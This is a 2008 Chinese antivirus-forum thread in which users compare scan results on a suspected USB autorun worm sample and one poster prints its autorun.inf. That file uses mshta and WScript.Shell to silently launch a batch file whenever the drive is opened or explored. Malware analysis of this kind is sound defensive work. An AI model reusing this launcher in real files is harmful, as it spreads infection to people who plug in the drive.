12
返回列表 发新帖
楼主: woai_jolin
收起左侧

[病毒样本] 小红pass auto病毒

[复制链接]
Kitman
发表于 2008-7-30 11:23:05 | 显示全部楼层

The file 'AUTOLA.dll' has been determined to be 'CLEAN'. Our analysts did not discovered any malicious content.
easy002008
头像被屏蔽
发表于 2008-7-30 11:44:34 | 显示全部楼层

nod杀

C:\Documents and Settings\桌面\AUTOLA.rar > RAR > AUTOLA.dll - 可能是 Win32/Autorun 蠕虫 的变种
woai_jolin
 楼主| 发表于 2008-7-30 11:45:19 | 显示全部楼层

回复 11楼 Kitman 的帖子

分析师脑残
雨宫优子
发表于 2008-7-30 11:50:38 | 显示全部楼层
MD5: 91D213F0735A7B32488E658B3F86CD41
不是一个PE文件.

拜托.......

SOLA_1.0
[autorun]
shell\打开(&O)\command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\\SOLA.BAT -USB',0);window.close()"
shell=打开(&O)
shell\open=复制磁盘(&C)
shell\open\Command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\\SOLA.BAT -USB',0);window.close()"
shell\open\Default=1
shell\explore=资源管理器(&X)
shell\explore\Command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\\SOLA.BAT -USB',0);window.close()"
整一个autorun.inf文件呢

[ 本帖最后由 aarwwefdds 于 2008-7-30 11:53 编辑 ]
雨宫优子
发表于 2008-7-30 11:53:07 | 显示全部楼层
原帖由 woai_jolin 于 2008-7-30 11:45 发表
分析师脑残

报这个东西也没多大用处啊.........

整一个Autorun.inf
woai_jolin
 楼主| 发表于 2008-7-30 11:55:28 | 显示全部楼层

回复 15楼 aarwwefdds 的帖子

哎哟这是就没用了
换成eset 不知道又要发什么长篇大论了
雨宫优子
发表于 2008-7-30 11:57:09 | 显示全部楼层
原帖由 woai_jolin 于 2008-7-30 11:55 发表
哎哟这是就没用了
换成eset 不知道又要发什么长篇大论了

不知道你什么意思....

本来就没有多大用处的一个家伙

又不是现成的Autorun.inf,换句话说,根本没威胁
barbara
发表于 2008-7-30 12:42:10 | 显示全部楼层
原帖由 电影结束了 于 2008-7-30 10:28 发表
BD miss...

我等着BD和IK交换病毒库

貌似IK从前都是跟着BD混的。。。现在怎么BD沦落到这个地步了...
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-5-1 13:54 , Processed in 0.107007 second(s), 15 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表